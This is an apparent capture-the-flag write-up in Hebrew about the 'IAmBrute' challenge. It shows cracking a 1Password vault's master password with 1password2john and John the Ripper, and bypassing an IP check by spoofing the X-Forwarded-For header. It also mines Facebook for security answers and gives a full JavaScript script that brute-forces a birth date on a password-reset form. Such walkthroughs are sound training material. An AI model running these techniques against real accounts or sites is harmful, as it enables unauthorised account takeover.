IAmBrute
נכתב על ידי Narcissus
הורדנו וחילצנו את הקובץ Marina.vault.zip
קיבלנו את התיקייה Marina.vault.opvault
. היא הכילה תיקייה נוספת default
שבתוכה היה band_2.js
ו-profile.js
.
התקייה היא בעצם כספת סיסמאות של התוכנה 1password
.
בעזרת 1password2john
הוצאנו האש של הכספת: 1password2john.py Marina.vault.opvault > hash
, ואז בעזרת ג'ון המרטש פיצחנו את המפתח מאסטר: john hash
לאחר מכן john hash --show
שהדפיס ?:Marina
.
התקנו 1password
וטענו לתוכה את הכספת, היא ביקשה את המפתח מאסטר:
הזנו Marina
לפי הפלט של ג'ון וקיבלנו פרטי התחברות:
ניגשנו לאתר שצוין וקיבלנו מסך התחברות. פשוט להזין את שם המשתמש והסיסמה שקיבלנו מ-1password
לא עבד, קיבלנו שגיאה:
הוספנו את ההדר x-forwarded-for: 192.168.20.1
ושלחנו בקשה חדשה. הוחזרנו שוב למסך התחברות אבל הפעם הייתה עוגיה בתשובה מהשרת.
session:
httpOnly: true
path: /
value: eyJ1c2VyX2lkIjoiMiJ9.Dfb96g.6DzT1iCHG3k7kQUTdY5VUDlrG9w
שמרנו את העוגיה וניגשנו לעמוד אינדקס. הועברנו לעמוד פניות:
בפניות מצאנו את עמודי הפייסבוק של מרינה וג'ורג' (ראש מחלקת IT):
אולי זה יעזור לנו בהמשך. בינתיים אנחנו צריכים למצוא איך להתחבר למשתמש של ג'ורג'. בואו נתנתק ונראה מה היה בעמוד Forgot My Password
שראינו קודם:
יש לנו את שם המשתמש שלו: george
. צריך להוסיף לזה את תאריך הלידה ותשובה לאחת משלוש שאלות אבטחה. אולי עכשיו פייסבוק יהיה שימושי.
באזור אודות מצאנו שהוא נולד ב-1991 ושהעמוד היחיד שהוא עשה לו לייק זה העמוד FRIENDS (TV Show). נעשה ברוטפורס לחודש ויום של תאריך הלידה שלו.
class FileDownloader{
constructor(url, pool_size) {
this.url = url;
this.pool_size = pool_size;
}
createQueue(){
const arr = [];
for (let i=1;i<32;i++)
for (let j=1;j<13;j++)
arr.push(i.toString().padStart(2, "0")+"/"+j.toString().padStart(2, "0")+"/1991");
return Promise.resolve(arr);
}
send_request(elem){
return fetch(this.url, {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: "__CSRFToken__="+document.querySelector("[name=csrf_token]").getAttribute("content")+"&birthday="+elem+"&do=sendmail&question_answer=Friends&question_id=2&username=george"
}).then(res => res.text())
}
next(){
const index = this.queue.shift();
if (index == undefined)
return {index:-1};
return index;
}
download_part(elem, count = 3){
if (count == 0){
console.error("Couldn't download part "+elem.index);
}
if (elem.index == -1)
return;
this.send_request(elem)
.then(response => {
if (response.includes("Incorrect answer!")){
console.log("failed");
} else {
console.log("Password: "+elem);
}
this.download_part(this.next());
this.remaining--;
}).catch(err => {
this.download_part(elem, count-1);
});
}
async start(){
this.queue = await this.createQueue()
this.remaining = this.queue.length;
this.parts = Array(this.queue.length);
this.stop = false;
for (let i=0; i< Math.min(this.queue.length,this.pool_size); i++){
this.download_part(this.next());
}
}
}
new FileDownloader("/pwreset.php", 1000).start()
קרדיט לקוד מגיע ל-naweiss.
מעולה, עכשיו אפשר להתחבר עם אותו טריק כמו בפעם הקודמת:
ועכשיו לראות את תוכנן הפנייה: